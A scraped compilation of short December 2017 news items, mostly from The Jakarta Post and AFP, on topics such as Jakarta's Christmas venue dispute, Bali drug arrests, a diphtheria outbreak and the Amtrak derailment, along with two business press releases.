Jakarta Governor Anies Baswedan has announced that the Christmas celebration, which was previously set to be held at the National Monument (Monas) compound in Central Jakarta, will be held at the Jakarta International (JI) Expo building in Kemayoran, Central Jakarta on Jan. 5, following the rejection by Christians of Monas as the venue for the Christmas celebration.

We realize that the majority of Christians want to hold the celebration indoors. Only a small number of them are willing to attend an outdoor celebration, which is why we have decided to hold the event indoors at JIExpo, Anies said at City Hall on Tuesday. Previously, Anies issued Gubernatorial Decree (Pergub) No. 186/2017, a revision of Pergub No. 160/2017 on the management of Monas, so that Monas could be used for religious activities.

Islamic groups were quick to take advantage of the new decree by holding sermons there on Nov. 30 and Dec. 1, as well as the 212 rally reunion on Dec. 2, which was held to celebrate the anniversary of a rally last year that demanded the prosecution of former governor Basuki Ahok Tjahaja Purnama and was believed to contribute to Anies victory in April's gubernatorial election.

In a recent meeting with religious leaders, Anies highlighted that Monas could now be used by all religions. He then invited Christians to celebrate Christmas together at the site.

The Indonesian Communion of Churches (PGI) refused the idea as they hold the sacred event indoors to avoid anything that could disrupt the solemnity of Christmas.

On Tuesday, Catholic priest and social observer Benny Susetyo said Anies plan to celebrate Christmas at Monas square was unnecessary.
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Linkedin News Desk (AFP) Denpasar  Tue, December 19, 2017 13:33 1794 1f87594453bb792833e1ece3a2e2537a 2 National Australia,death-penalty,bali,drug-trafficking Free

An Australian could face the death penalty after he was caught trying to smuggle crystal methamphetamine into the Indonesian resort island of Bali, an official said Tuesday.

The 35-year-old man, identified by his initials IER, was arrested by customs agents when he arrived at Bali's Ngurah Rai International Airport on a flight from Bangkok on December 4.

"Officers searched him and found five packages weighing around 19.97 grams and 14 tablets, which lab tests indicated were crystal methamphetamine and ecstasy," customs agent Husni Syaiful told a press conference Tuesday.

The man could face the death penalty under Indonesia's harsh anti-narcotics laws because he was allegedly caught trafficking more than five grams of drugs.

He was paraded before journalists with a Malaysian and an American -- who are also facing drug charges in separate cases -- wearing orange prison uniforms and balaclavas.

The 30-year-old Malaysian man was arrested on arrival at Bali's airport on November 8 after 3.03 grams of marijuana and 0.65 grams of cocaine were found in his wallet.

The American man, identified as KSL, was arrested in connection with a package containing cannabis e-cigarette liquid seized by authorities at a Bali post office.

Indonesia has some of the world's toughest anti-drug laws, with sentences including the death penalty for smugglers who carry five or more grams.

Several foreign and Indonesian nationals have been executed by firing squad in recent years for drug trafficking, including Australians Andrew Chan and Myuran Sukumaran in 2015, a case that sparked diplomatic outrage and a call to abolish the penalty.

Bali officials said a lot of foreigners would attempt to smuggle drugs into the popular holiday destination with the new year approaching.

"There are many parties held in Bali during the year-end celebration," Syaiful said.
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Linkedin News Desk (The Jakarta Post) Jakarta  Tue, December 19, 2017 09:23 1794 1f87594453bb792833e1ece3a2e160a5 4 National bali,Airport,flights,Ngurah-Rai-International-Airport,Christmas,tourism Free

The Ngurah Rai International airport in Denpasar, Bali has received requests for 477 additional flights from domestic airlines to accommodate the high demand for domestic routes in the lead-up to the Christmas and New Year holiday season.

At the end of the year, Bali is always a favorite destination for both domestic and international tourists, Ngurah Rai airport general manager Yanus Suprayogi said on Monday as quoted by Antara.

The additional flights were requested by five domestic airlines  Citilink, Garuda Indonesia, Lion Air, Nam Air and Sriwijaya Air  with a total of around 80,000 seats available.

The most requested route is to Surabaya with 182 additional flights, then Lombok with 112 and Jakarta with 81, he said.

The number of additional domestic flights requested has fallen by about 22 percent from last years 613.

Yanus said that the decrease was likely due to the uncertainty around Mount Agungs volcanic activity.

International routes have also been affected. There have yet to be any requests for additional international flights from either foreign or domestic airlines.

We hope that [additional] international routes will follow, but so far [the airlines] havent requested any, he said. (kmt/dmr)
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Linkedin News Desk (The Jakarta Post) Jakarta  Tue, December 19, 2017 15:00 1794 1f87594453bb792833e1ece3a2e29334 1 Business kppu,Aqua,punishment Free

The Business Competition Supervisory Commission (KPPU) has penalized PT Tirta Investana, the producer of Aqua bottled water, with a fine of Rp 13.84 billion (US$968,800) to be paid to the state for violating the Business Competition Law at a hearing in Jakarta on Tuesday.

The commission also fined Aquas distributor PT Balina Agung Perkasa (BAP) Rp 6.29 billion.

Presiding commissioner Kurnia Syaranie said at a hearing that the companies had violated several articles of Law No. 5/1999 on monopoly prohibition.

Under the law, KPPU may fine a violator between Rp 1 billion and Rp 25 billion. The two defendants were found guilty of violating Article 15, paragraph (3b) and Article 19a and b of Law No 5/20199, Kurnia said when reading out the verdict.

The decision was based on a report by PT Tirta Fresindo Jaya (Mayora Group), the producer of bottled water brand Le Minerale, in October, 2016, which complained that Aqua and its distributor had prohibited several shops from selling Le Minerale bottled water.

KPPU found that the companies had threatened to downgrade the status of several shops that sold Le Minerale bottled water from star outlet (SO) to wholesaler (WO). With the change in status, the shops would have to buy Aqua at higher prices. (bbn)

Topics : kppu Aqua punishment
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Linkedin News Desk (The Jakarta Post) Jakarta  Tue, December 19, 2017 13:25 1794 1f87594453bb792833e1ece3a2e217d7 4 City Christmas,Catholic,Anies-Baswedan-Sandiaga-Uno,Monas Free

Catholic priest and social observer Benny Susetyo has said that Governor Anies Baswedan's plan to celebrate Christmas at the National Monument (Monas) square in Central Jakarta is unnecessary.

The Christian tradition calls for the celebration to be held on church premises," Benny said as quoted by Warta Kota on Monday.

Benny emphasized that it was important for Christian believers to remain modest for the celebration, adding that the city's budget could be better allocated for more productive matters.

We do not need funds from the regional budget for the Christmas celebration. [The celebration] is not that important. It would be better to allocate the budget to help support poor children," he said.

Benny also warned that the celebrations might disturb public order as a huge crowd of Christmas revellers would worsen traffic around the venue.

Many residents will be affected [if the celebration is held], he said, saying that the historic square should be restored to its original function as a cultural preservation site.

Despite rejecting Anies' plan, Benny said he was convinced that Anies invitation to Christians to celebrate Christmas at Monas square was not made with any vested interests.

Earlier this month, Governor Anies Baswedan announced plans to organize a joint Christmas celebration at Monas square. Deputy Governor Sandiaga Uno stated that the administration was even willing to pay for the event.

Last week, the Indonesian Communion of Churches (PGI) in Jakarta turned down the offer in favor of holding an indoor event instead. (gis/dmr)




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Linkedin Suherdjoko (The Jakarta Post) Semarang, Central Java  Tue, December 19, 2017 13:23 1794 1f87594453bb792833e1ece3a2e20eb3 1 National Central-Java,Christmas,security Free

More than 20,000 police officers will be deployed to secure Christmas celebrations in Central Java, Central Java Police chief Insp. Gen. Condro Kirono said on Monday

We will ensure that people can celebrate Christmas in peace, he said, noting that the deployment would be concentrated at churches and other venues used as a house of worship on Christmas Day.

The police will begin the operation, the Lilin Candi Operation, on Dec. 22.

Among the 2,800 churches in 35 regencies and municipalities in Central Java, 180 churches have a more stringent security detail in place. (vla/dmr)
IRVINE, CA, Dec. 19, 2017 (GLOBE NEWSWIRE) -- Signature Devices, Inc. (OTC PINK: SDVI) and Innovo Technology, a leading software and hardware development company, is announcing a strategic partnership with New York City based private investment fund, Tri-Bridge Ventures, LLC. Signature Devices announced today that it entered into a Securities Purchase Agreement with Tri-Bridge Ventures in which TBV may purchase common stock equal to a value of up to Five Million Dollars ($5,000,000) when SDVI has qualified the necessary number of shares under Regulation A+ through an offering statement (Form 1-A). SDVI intends on filing the offering statement within the next thirty days.

Additionally, TBV has already invested capital that will be used to expand production and inventory, secure new facilities to continue growth, and file the Reg A+ with the SEC." These agreements establish a direct relationship with an institutional investor and long-term partner to fund the growth of the company. The Regulation A+ is available, at our discretion providing us with both immediate and the precise amount of capital potentially needed in the future. This enables substantially less dilution when compared to convertible transactions or direct loan agreements." Said Inas Azzam, CEO and President of Signature Devices and Innovo Technology.

Regulation A+, as mandated by the JOBS Act and introduced on March 25, 2015, gives non-SEC reporting companies the ability to raise up to $50,000,000 in a 12-month period. Through the Reg A+, Signature Devices will have a structure in place throughout 2018 which will provide the capital necessary to execute on their business plan, market their existing products, continue to innovate in the Internet of Things space, and deliver shareholder value.

You can also follow the company on Twitter for small updates and announcements: https://twitter.com/SignatureDevice





About Tri-Bridge Ventures, LLC

Tri-Bridge Ventures, LLC is a New York based Institutional Investor that focuses on transactions with publicly traded companies. The firm sources, structures and executes on investments in publicly traded companies with market capitalization primarily under $250 million. The Tri-Bridge Ventures team has the experience and understanding of the public markets to identify investment opportunities as well as the ability to structure bespoke equity and debt transactions.





About Innovo Technology, Inc.

Based in Irvine, California, Innovo Technology combines the best of the technologies underpinning the popular Morpheus media server, Tazerwear's AI Software, Truck IT's beacon platform with Knoton's hardware, infrastructure and software. The result is a company that blends custom software and powerful hardware IoT-interconnected devices.




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Linkedin News Desk (The Jakarta Post) Jakarta  Tue, December 19, 2017 14:58 1794 1f87594453bb792833e1ece3a2e28d52 1 City diphtheria,patients,jakarta Free

The number of diphtheria patients at Sulianti Saroso Hospital in North Jakarta has continued to increase this week. As of Monday, the hospital had recorded a total of 98 patients, increasing from 25 patients last Friday.

Patients have come from across the Greater Jakarta area and Banten. Sixty-five of the 98 patients are children.

Director of Sulianti Saroso Hospital, Rita Rogayah, said that in the last week the hospital had accepted eight to 11 new patients every day. Even though the total number of patients has increased, the number of patients brought to the hospital per week has decreased, she said as quoted by tempo.co.

Rita said the hospital was in need of more isolation rooms to accommodate all the patients. Currently, it has only 22 isolation rooms available.

To solve the problem, the management of Sulianti Saroso Hospital has used regular rooms as isolation rooms to accommodate all the diphtheria patients.

So, right now we have 98 isolations room, we're trying our best to accommodate all patients, said Rita. (roi)

Topics : diphtheria patients jakarta
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Linkedin News Desk (The Jakarta Post) Jakarta  Tue, December 19, 2017 18:39 1794 1f87594453bb792833e1ece3a2e3537c 1 City police,car,violence Free

A West Jakarta traffic police officer was allegedly beaten by a driver and passengers of a car on Tuesday.

The traffic units head, Adj. Sr. Comr. Sudarmanto, said Second Insp. Dingin was managing traffic in Tomang at 3:15 p.m. and tried to stop a car that he suspected had fake license plates.

However, the driver did not stop the car but instead accelerated and fled the scene.

The officer told the driver to stop, but the latter accelerated. The driver was then pursued by Dingin on his motorbike, Sudarmanto said Tuesday as quoted by kompas.com.

Dingin caught up with the car and parked his motorbike in front of the car to prevent the driver from fleeing again. Dingin then approached the driver and asked for his drivers license and vehicle registration document (STNK).

The driver, identified as Abraham Paluppa, got out of the car with two passengers, Agustinus Paluppa and Bryan Futwembun, moved Dingins motorbike and allegedly beat him.

Dingin sustained injuries to his face.

Several people reported the incident to the Tomang Police, after which officers apprehended the three people and took Dingin to the hospital.

He is getting better, while the three people have been detained at the West Jakarta Police office, he said. (wnd)

Topics : police car violence
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Linkedin News Desk (The Jakarta Post) Jakarta  Tue, December 19, 2017 13:38 1794 1f87594453bb792833e1ece3a2e254de 1 Business e-commerce,registration,Trade-Ministry Free

The government is preparing a government regulation (PP) that will require online shops and e-commerce businesses to register with the Trade Ministry, tribunnews.com reported on Tuesday,

Trade Ministry director general of domestic trade Tjahya Widayanti said on Monday in Jakarta that the draft government regulation had been submitted to the State Secretariat, and hoped it would be issued by the end of the year.

Under the regulation, the Trade Ministry requires anyone who performs transactions through an electronic system to register their businesses with the ministry, said Tjahja.

Tjahja said that the ministry had further prepared a supporting regulation in the form of a Trade Minister's regulation to provide technical details on implementing the government regulation.

The ministerial regulation being drafted will regulate the registration process and the issuance of online seller identity numbers, he said, adding that the identity number must be displayed on the e-commerce business's online platform.

The ministry would make a list of registered e-commerce businesses so that customers were apprised of the platforms' legality, said Tajhja. Unregistered e-commerce businesses would be placed on the ministry's watch list.

Consumers will feel more secure performing transactions on registered platform,s he added.

Meanwhile, the Trade Ministry's distribution and business supervision director, Budi Santoso, said the ministry was holding internal discussions on the registration requirements for online sellers. (bbn)
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Linkedin News Desk (The Jakarta Post) Jakarta  Tue, December 19, 2017 17:23 1794 1f87594453bb792833e1ece3a2e31405 4 Business renewable-energy,project,Energy-Mineral-Resources-Ministry,clarification Free

The government says 68 renewable energy plants, mostly constructed in remote areas that are not connected to the electricity network of state-owned electricity company PLN, have sustained damage.

Fifty-five 55 projects worth Rp 261 billion (US$18.27 million) have sustained minor damage, while 13 others worth Rp 48.85 billion sustained heavy damage, said the Energy and Mineral Resources Ministrys energy conservation and renewable energy director general, Rida Mulyana, in Jakarta on Monday as reported by tribunnews.com.

Rida spoke to journalists to clarify reports claiming failure at 142 energy renewable power projects.

He explained that between 2011 and 2017, the government constructed 686 renewable energy power plants worth Rp 3.01 trillion (US$210.7 million) that were financed through the state budget.

Rida said only 68 projects worth about Rp 305 billion had been handed over to regional administrations to supply electricity to the public. They are among 126 projects worth Rp 1.04 trillion.

He said heavy damage at some of the plants had been caused by landslides, flooding or lightning and the plants could not be fully operated. He did not elaborate on the condition of plants that sustained minor damage.

He said this year, the ministry had allocated Rp 8.9 billion for renewable energy plants, but had not managed to find business partners for the projects. Next year, the ministry has allocated 17.68 billion for similar projects. (bbn)
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Linkedin Rieka Rahadiana and Yudith Ho (Bloomberg) Jakarta  Tue, December 19, 2017 13:51 1794 1f87594453bb792833e1ece3a2e26dfb 2 Politics Indonesia,female,justice,human-rights Free

Indonesia is set to lose its first and only female constitutional justice, whose term is up next year, potentially dealing a blow to womens rights in a country where theyre being challenged in the face of growing religious conservatism.

Maria Farida Indrati will end her second and final term in about eight months, leaving the nine-member board of justices entirely male on one of the two highest courts in the country -- where cases on discrimination, domestic violence, early-age marriage and female political participation continually arise. The constitutional court differs from the supreme court, where the top judges are all male and which determines final appeal in legal matters not deemed to be constitutional.

The point of view I bring to the table is different from what my male colleagues present, the 68-year-old judge told Bloomberg in an interview.Its not a certainty that Indratis replacement, who likely will be chosen by President Joko Widodo from a list of three candidates picked by a committee, will be male. While her successor wont be known for several months or even until after her departure, Indrati said there are several qualified women to consider. She herself was chosen by former President Susilo Bambang Yudhoyono in 2008 after decades of lecturing in law at the University of Indonesia and assisting lawmakers in drafting legislation.

In Indonesia, female law students prefer a career outside the courtroom rather than in it because women dont like to be seen as argumentative or to debate, said Indrati, who plans to return to teaching full time when her term finishes. Quotas arent the solution to increasing womens participation in public life, including on the bench, she said.

Be Unafraid

It is important that women take this role and be unafraid to take this role, said the judge, who suffered from polio as a child and walks with a limp.

Although when she was young she aspired to be a piano teacher, Indrati listened to the advice of her father, a journalist and former teacher who had wanted to complete his unfinished law degree. He encouraged his daughter to study to become a law professor instead, according to her official biography.

When the constitutional court in 2015 declined a judicial review to raise the decades-old minimum legal marital age for women from currently 16 years old to 18, Indrati was the only justice with a dissenting opinion. Raising the marriage age to 18 would allow girls more of a chance to secure their futures, Indrati said. The challenge was brought by a group promoting womens health. Activists are again appealing, seeking to have the case heard again.

Last week, Indrati cast a decisive vote in the courts decision rejecting by 5-to-4 a petition by conservative academics seeking to deem extramarital and gay sex as crimes punishable by prison terms. She has also ruled in favor of other gender and minority-related cases such as pornography and blasphemy.

More Difficulties

Its not always the case where the existence of a female justice means the law will take the side of women, said Indri Suparno, a commissioner at the National Commission on Violence Against Women. But the absence will give more difficulties to women to become more progressive.

Southeast Asias biggest economy is considered a model of moderate Islam. The president, known as Jokowi, has put more women into senior roles compared with other Muslim-majority countries -- a record nine of 34 cabinet ministers, the most among the worlds most populous countries.

High profile officials include Finance Minister Sri Mulyani Indrawati, Foreign Minister Retno Marsudi -- a first in the countrys history -- and Maritime and Fisheries Minister Susi Pudjiastuti. Rosmaya Hadi became Bank Indonesias only female deputy governor this year. The country also imposes gender quotas for political party candidates put forward for public office.

In 2016, Jokowi launched the first nationwide survey on violence against women and children. However, hes been silent on calls from human rights groups to end virginity tests for women applying to the military and the police.

Polygamy App

Worries over womens rights have increased as attempts to hamper equality have been made more openly. A Tinder-like app, AyoPoligami, or Lets Do Polygamy, and a seminar called The Quickest Way of Getting Four Wives have sparked controversy. Indonesia allows Muslim men to take up to four wives if granted by a court and approved by the first wife.

Some 26 out of 153 countries have women as chief justices, or 17 percent, according to a World Bank report in 2016 called "Women, Business and The Law."

Outside Court

Its possible that the challenge to the law legalizing the age of marriage at 16 may be heard again while Indrati is still on the bench. Campaigners for womens rights say that women who marry young will miss out on whats being called a demographic bonus by 2030 -- when the numbers of working-age people are greater than the numbers of elderly -- by not being able to further their educations and embark on careers.

The government wants to improve its professional workforce, but allowing women to marry at 16 means they likely will have to stay home and raise families instead of being able to participate, said Zumrotin Susilo, chairwoman of the Womens Health Foundation, who was involved in the first appeal of the marriage law.

A Central Statistics Agency census in 2010 found 6.7 million out of 78 million women age 15 to 64 hold a bachelors degree, or 8.5 percent. About 500,000 women have postgraduate degrees.

Women have to fight for the presence of female justices and build strong communications and perspective at the constitutional court, said Suparno of the women commission.
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Linkedin Kharishar Kahfi (The Jakarta Post) Jakarta  Tue, December 19, 2017 20:30 1794 1f87594453bb792833e1ece3a2e3b4da 1 National PPATK,#PPATK,money-laundering,#money-laundering Free

The government has yet to show significant progress in preventing and eradicating money laundering and terrorism funding in recent years, a survey said.

The Financial Transaction Report and Analysis Center (PPATK) released on Tuesday the 2017 Public Perception Index on Money Laundering and Terrorism Funding, which found that Indonesia scored 5.31 this year, increasing slightly from 5.21 in 2016.

The index uses a scale from zero to 10, with 10 reflecting excellent preventive and eradication efforts.

According to the study, the Indonesian public has a "moderate" understanding of money laundering and terrorism funding, scoring 5.76 and 4.92 in the categories, respectively.

"This means that [the people] know the definition of such practices and would probably report anyone caught committing these crimes. This can help the prevention campaign of law enforcers, Ali Said, an official from the Central Statistics Agency (BPS), said during the surveys launch.

Legal scholar Ningrum Natasya Sirait urged the PPATK and other law enforcement institutions to step up their anti-money laundering campaigns.

The PPATK, for example, could choose a state official who has complied with money laundering prevention measures as an ambassador for the campaign. This task, however, might be the hardest, as we have yet to find any public figure across the country who fits the bill," Ningrum said.

Related institutions, such as the PPATK, the Corruption Eradication Commission (KPK) and the National Police, should work better together to support their fight against money laundering, she added. (ipa)
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Linkedin News Desk (The Jakarta Post) Jakarta  Tue, December 19, 2017 19:07 1794 1f87594453bb792833e1ece3a2e3679e 1 Business Kertajati-Airport-Majalengka-WestJava,AP-II,agreement Free

PT Bandara Internasional Jawa Barat (BIJB), owner of under-construction Kertajati airport, and state-owned airport operator PT Angkasa Pura II (AP II) will sign an agreement on the operation of the airport in the West Java town of Majalengka on Dec. 27.

BIJB president director Virda Dimas Ekaputra said on Monday the agreement had to be made immediately as it related to the disbursement of a loan for finalizing the construction of the planned international airport.

Out of Rp 906 billion [US$66.7 million] of the loan, Rp 650 billion has been disbursed. The remaining Rp 256 billion is expected to be disbursed in January, said Virda, as quoted by Antara as saying, referring from the loan from a syndication of seven sharia banks.

West Java Governor Ahmad Heryawan previously said that with the official agreement between the two companies, the loan was expected to be disbursed soon. Without the agreement, the disbursement of the loan will be suspended. Once the agreement is made, the funds will be available, said Ahmad.

Virda said that after the agreement, AP II and state-owned securities firm Danareksa would buy and absorb the treasury stock issued by BIJB and therefore, the shareholders of PT BIB would be the West Java administration, PT AP II, Danareksa and state-owned infrastructure company PT Jasa Sarana.

Kertajati airport is planned to begin operating in April 2018. (jlm/bbn)
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Linkedin Kathryn Elsesser (AFP) DuPont  Tue, December 19, 2017 06:45 1795 1f87594453bb792833e1ece3a2e0c272 2 World Washington,accident,Train,train-accident Free

An Amtrak passenger train traveling on a new route for the first time derailed Monday in Washington state, killing "multiple" people as cars plunged off a bridge onto a busy highway at the height of morning rush hour, officials said.

The train, which was carrying 78 passengers and five crew, derailed in DuPont about halfway between Tacoma and the state capital Olympia on a curve that passes over busy Interstate 5 at about 7:40 am (1540 GMT).

Pictures from the scene showed one Amtrak train car overturned and crashed on the interstate highway and others dangling from the overpass.

Several other carriages of the 14-car train also ended up on the highway, shutting down a key section of the busy artery that connects the greater Seattle metropolitan area to Olympia.

Officials gave no reason for the derailment of southbound Amtrak train 501, the inaugural run of a new service that promised faster connections between Seattle and Portland, Oregon.

Local officials had warned only weeks ago that the track still might not be safe enough to handle trains at higher speeds.

Officials confirmed several people had died in the crash, but declined through the day to provide precise numbers.

"There are multiple fatalities," said Ed Troyer, spokesman for the Pierce County Sheriff's Department.

"It's pretty horrific," he said.

Local television KOMO News reported six dead and several people in critical condition among the dozens sent to local hospitals for treatment.

Troyer said that it was too unsafe to check some of the cars but it was possible there were more bodies in them.

"We just don't know until they can shore up those train cars and get in there and search them," he said.

None of the people in vehicles traveling on the highway below the train were killed, according to Troyer.

The National Transportation Safety Board has sent a team of experts to investigate the incident.

- 'People were screaming' -

Chris Karnes, a local transit official who was aboard the train, told local CBS News affiliate KIRO-TV that the accident took place while it was going around a curve.

"All of a sudden, we felt this rocking and creaking noise, and it felt like we were heading down a hill," he said.

"The next thing we know, we're being slammed into the front of our seats, windows are breaking, we stop, and there's water gushing out of the train. People were screaming."

A conductor in one of the two engines on the train placed the emergency call.

"Amtrak 501, emergency emergency emergency, we are on the ground," he said, according to an audio recording of the call.

"We were coming around the corner to take the bridge over I-5 there right north of Nisqually and we went on the ground."

"We got cars everywhere and down onto the highway," he said.

Amtrak president and co-chief executive Richard Anderson said he was "deeply saddened" by the crash.

"We will do everything in our power to support our passengers and crew and their families," Anderson said.

- Safety concerns -

The accident marred the launch of faster services on the route after a $181 million upgrade project that included improving the rails, the signaling technology and the locomotives.

Local officials had worried about trains going at higher speeds through the curves in the area. The trains were expected to reach speeds of 79 miles (127 kilometers) per hour through the densely populated area with the improved systems and track.

In early December, Don Anderson -- the mayor of Lakewood, Washington, a Tacoma suburb just a few miles from the accident site -- had warned that more needed to be done to ensure safety on the route.

"Come back when there is that accident, and try to justify not putting in those safety enhancements," he said, according to KOMO News.

Karnes said the tracks were supposed to have been upgraded to accommodate higher speeds.

"I'm not sure what happened," he said.

- Trump: US needs better infrastructure -

US President Donald Trump said the accident underscored the need to invest in infrastructure.

"Seven trillion dollars spent in the Middle East while our roads, bridges, tunnels, railways (and more) crumble! Not for long!" he tweeted.

The new Siemens Charger locomotives were equipped with "positive train control" safety systems, designed to automatically stop the train in dangerous situations and mandated for trains around the country.

But the technology was only expected to be used next year when it is activated on the entire rail corridor, according to the Washington State Department of Transportation.

In 2015, an Amtrak train going far over the designated speed for a stretch of curves in the track in Philadelphia derailed, killing eight.

At the time, analysts said positive train control technology could have prevented the accident.
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Linkedin News Desk (The Jakarta Post) Jakarta  Tue, December 19, 2017 16:02 1794 1f87594453bb792833e1ece3a2e2d947 1 City Christmas,Depok,police Free

The Depok Police will safeguard 130 churches across the city over Christmas and monitor roads to prevent severe traffic congestion.

"The number of personnel securing the churches will be adjusted to the number of people attending church services, said police spokesperson Adj. Comr. Sutrisno as quoted by tempo.co.

He said four big churches in Depok  Bethel, Immanuel, Santo Paulus and Santo Herkulanus  would have metal detectors installed and tight security.

Meanwhile, Depok Police chief Adj. Sr. Comr. Didik Sugiarto said the police would also monitor toll roads and main roads.

We will manage traffic on both toll and main roads in Depok to keep it smooth, Didik said.

The police have also called on the public and mass organizations not to conduct sweeps. If people have any security concerns, they should inform the police, he said.

Residents can come directly to Depok Police headquarters or report via the app Halo Polisi and Panic Button, he added. (wnd)

Topics : Christmas Depok police
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Linkedin Apriadi Gunawan (The Jakarta Post) Medan, North Sumatra  Tue, December 19, 2017 17:14 1794 1f87594453bb792833e1ece3a2e307ac 1 National North-Sumatra,BKSDA,protected-animals,endangered-animal,tapir Free

A Malayan tapir received treatment for wounds at the Barumun Nagari Wildlife Sanctuary in North Padang Lawas regency, North Sumatra, on Tuesday after being caught by local residents.

The 300-kilogram male tapir suffered severe wounds -- including peeled skin, wounded ankles and removed nails -- that were spread across its entire body when it was found by local authorities, said the head of the Padang Sidempuan branch of the Natural Resources Conservation Office (BKSDA), Gunawan Alza.

Locals of Kristen village in Kotapinang district, South Labuhan Batu, caught the large herbivorous mammal as it entered a residential area on Monday, then tied its four feet so that it could not escape.

Perhaps the local people didn't know that the animal they caught was protected, Gunawan told The Jakarta Post on Tuesday.

BKSDA officials transported the tapir to the sanctuary, where doctors gave it several shots and vitamins to help it recover.

The tapirs condition was improving, Gunawan said, adding that it would be released into the wild once it fully recovers.

The population of the Malayan tapir, he said, was on the decline. The protected species, which is endemic to Sumatra, is most commonly found in the southern parts of Tapanuli, such as South Labuhan Batu, Mandailing Natal, Barumun and Sipirok.

The animals habitat has mostly been destroyed because of deforestation, human interference and the conversion of its natural habitat into plantations, resulting in increased cases of the wild animal entering villages in search of food. (rin)
SAN FRANCISCO, Dec. 19, 2017 (GLOBE NEWSWIRE) -- ScaleFT, the Zero Trust security company, today announced a call for nominations for the new 2018 BeyondCorp Pioneers awards. The BeyondCorp Pioneers awards were created to honor the people who have been essential in building and growing the BeyondCorp community. The nominations are for exceptional people among vendors, practitioners, consultants, analysts, journalists, and investors who believe in the core principles of BeyondCorp and advocate for enterprise adoption. Individuals may nominate others or themselves by completing the form at: www.beyondcorp.com/pioneers2018.



As the leading advocate of BeyondCorp, ScaleFT is launching the initiative to honor the BeyondCorp Pioneers by inviting a selection committee of industry influencers and experts to judge the submissions. The selection committee will judge candidates based on the influence, public profile, achievements, and advocacy efforts of each person. The selection committee is comprised of:

Chris Howard - General Partner, Fuel Capital

John Komkov - General Partner, Fathom Capital

Katie Moussouris - Founder and CEO, Luta Security, Inc.

Matt Asay - Head of Developer Ecosystem, Adobe

The call for nominations will be open until Jan 26th, 2018 at 11:59 PM. The winners will be selected and announced on Feb 7th, 2018 during the BeyondCorpSF Meetup hosted at Heavybit Industries.

Much like the rise of DevOps as practices to ship software faster and more effectively, the principles behind BeyondCorp make security a business enabler by increasing productivity through better access controls, said Ivan Dwyer, VP of Product Marketing at ScaleFT. As BeyondCorp becomes a significant IT movement on par with the cloud, the individuals who are out there promoting the model are truly pioneers. Were honored to recognize these individuals, and will continue to lead the community efforts to spread BeyondCorp across companies of all kinds.

As community advocates, ScaleFT runs a number of local BeyondCorp Meetup groups, which can be found at: https://www.meetup.com/pro/beyondcorp. They recently opened up the BeyondCorp Everywhere program to grow the Meetup presence across the globe. To start your own BeyondCorp Meetup group, with support from ScaleFT, apply here: https://beyondcorp.com/everywhere.

About ScaleFT

ScaleFT is the Zero Trust security company, providing a BeyondCorp-inspired access management platform that makes smarter trust decisions in real-time based on dynamic user and device conditions. Founded by startup veterans from The Apache Software Foundation, Cloudkick, Iron.io, JBoss, MongoDB and Rackspace, the company is venture-backed with offices in San Francisco and Austin. Learn more at: www.scaleft.com or follow on Twitter @ScaleFT.

Editorial Contact

Lonn Johnston

lonn@flak42.com

+1.650.219.7764
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Linkedin (Agence France-Presse) Riyadh, Saudi Arabia  Tue, December 19, 2017 18:13 1794 1f87594453bb792833e1ece3a2e34814 2 World tourism,Saudi-Arabia,Visa,conservatism Free

Saudi Arabia will begin issuing tourist visas in the first quarter of 2018, its top tourism official said, a first for the kingdom as it undergoes major economic and social reforms.

Prince Sultan bin Salman bin Abdulaziz told AFP that "all government approvals" are in place for the launch of electronic visas next year to "all nationals whose countries allow their citizens to visit" Saudi Arabia.

"We are now just preparing the regulations -- who is eligible for the visas and how to obtain them," added the head of the Saudi Commission for Tourism and National Heritage, who is a son of King Salman.

The move to open up its tourism sector is a major shift for Saudi Arabia as powerful Crown Prince Mohammed Bin Saudi Arabia launches massive tourism projectseeks to radically overhaul the kingdom's oil-dependent economy and shed its ultra-conservative image.

Apart from the millions of Muslims who travel to Saudi Arabia annually for the Hajj pilgrimage, most visitors face an arduous process and steep fees to enter the kingdom.

Read also: Saudi Arabia launches massive tourism project

Saudi Arabia currently grants tourist visas for a limited number of countries, but even those applications involve a range of restrictions, including requirements to travel through an accredited company and stay at designated hotels.

Prince Sultan said the cost of the new tourist visa had not yet been settled, but stressed that it would be "as low as possible, because we believe the cumulative economic impact is greater than the cash from the visa".

Saudi Arabia, though richly endowed with natural beauty, is notorious worldwide for its longstanding bans on the mixing of the sexes, alcohol consumption and women driving -- making it an undesirable destination for many.

In recent months, the kingdom has broken with some of its most rigid rules -- lifting a cinema ban, allowing genders to mix at a national celebration and announcing that women will be allowed to drive next June.

Prince Mohammed in August announced a massive tourism project to turn 50 islands and a string of sites on the Red Sea into luxury resorts.
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Linkedin Kharishar Kahfi and Nurul Fitri Ramadhani (The Jakarta Post) Jakarta  Tue, December 19, 2017 13:30 1794 1f87594453bb792833e1ece3a2e248ea 1 Politics Golkar,race,Soeharto,Airlangga-Hartarto Free

The daughter of former president Soeharto, Siti Hadijati "Titiek" Soeharto, has confirmed that she has dropped out of the race for the Golkar Party's top position.

When asked late on Monday whether she would join the race for the party's chairmanship position, Titiek said: "There's no need [to hold a race]. Everything's unanimously been agreed upon."

Titiek said she would throw her support behind the newly-elected chairman Airlangga Hartanto.

"If Pak Airlangga needs me, I'm ready to join his board," Titiek said.

Titiek recently declared her intention to contest for Golkar's top post, claiming that many people wanted to see the "Cendana family" of Soeharto return to party's leadership.

Former president Soeharto was the central figure in the party when he ruled the country for more than three decades under an authoritarian regime.

In his speech at the Golkar extraordinary congress on Monday, President Joko "Jokowi" Widodo urged all members to support Airlangga, who is also Industry Minister in his cabinet.
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Linkedin Nina LARSON (AFP) Geneva  Tue, December 19, 2017 06:29 1795 1f87594453bb792833e1ece3a2e0bda3 2 Politics Austria,Myanmar,genocide,US Free

The far-right tilt of Austria's new coalition government marks a "dangerous development" in European politics, the UN rights chief warned Monday, cautioning against a widespread "peddling of fear" to gain power.

In an interview with AFP, UN High Commissioner for Human Rights Zeid Ra'ad Al Hussein warned of a general "erosion" in human rights situations around the world.

He decried the "extreme barbarity" on display in conflicts raging in Syria and Yemen, and accused Myanmar of planning the recent deadly crackdown on its Rohingya minority, which he said could amount to "genocide".

Sitting in his spacious office in Geneva, the 53-year-old career diplomat also voiced concern over developments in the world's more peaceful region, pointing to the swearing-in Monday of Austria's new government.

He warned that the new Austrian Chancellor Sebastian Kurz's decision to take hard-right positions on things like immigration to win support marked "a dangerous development... in the political life of Europe."

Austria's far-right Freedom Party (FPOe) was sworn in Monday as part of the new government, headed by Kurz and his conservative People's Party (OeVP).

Kurz took over the OeVP in May and yanked it to the right, securing his party first place in October elections.

